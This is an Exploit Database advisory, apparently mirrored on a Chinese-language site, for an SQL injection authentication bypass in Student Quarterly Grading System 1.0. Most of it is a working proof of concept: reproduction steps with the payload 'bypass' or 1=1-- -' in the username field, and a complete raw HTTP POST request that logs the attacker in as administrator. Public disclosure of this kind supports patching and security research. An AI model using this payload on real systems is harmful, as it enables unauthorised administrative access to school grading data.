Student Quarterly Grading System 1.0 – SQLi Authentication Bypass

• Exploit Database
• 17 阅读

• 作者： Blackhan
  日期： 2021-10-05
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/50376/

• # Exploit Title: Student Quarterly Grading System 1.0 - SQLi Authentication Bypass
  # Date: 04.10.2021
  # Exploit Author: Blackhan
  # Vendor Homepage: https://www.sourcecodester.com/php/14953/student-quarterly-grading-system-using-php-and-sqlite-free-source-code.html
  # Software Link: https://www.sourcecodester.com/download-code?nid=14953&title=Student+Quarterly+Grading+System+using+PHP+and+SQLite+Database+Free+Source+Code
  # Version: 1.0
  # Tested on: Windows 10, Kali Linux
  # Student Quarterly Grading System v1.0 Login page can be bypassed with a simple SQLi to the username parameter.
  
  Steps To Reproduce:
  1 - Go to the login page http://localhost/grading_system/login.php
  2 - Enter the payload to username field as "bypass' or 1=1-- -" without double-quotes and type anything to password field.
  3 - Click on "Login" button and you are logged in as administrator.
  
  PoC
  
  POST /grading_system/Actions.php?a=login HTTP/1.1
  Host: localhost
  Content-Length: 45
  sec-ch-ua: "Chromium";v="93", " Not;A Brand";v="99"
  Accept: application/json, text/javascript, */*; q=0.01
  Content-Type: application/x-www-form-urlencoded; charset=UTF-8
  X-Requested-With: XMLHttpRequest
  sec-ch-ua-mobile: ?0
  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
  sec-ch-ua-platform: "Windows"
  Origin: http://localhost
  Sec-Fetch-Site: same-origin
  Sec-Fetch-Mode: cors
  Sec-Fetch-Dest: empty
  Referer: http://localhost/grading_system/login.php
  Accept-Encoding: gzip, deflate
  Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
  Cookie: PHPSESSID=arkil63kkqsabj3b8cf3oimm2j
  Connection: close
  
  username=bypass'+or+1%3D1--+-&password=bypass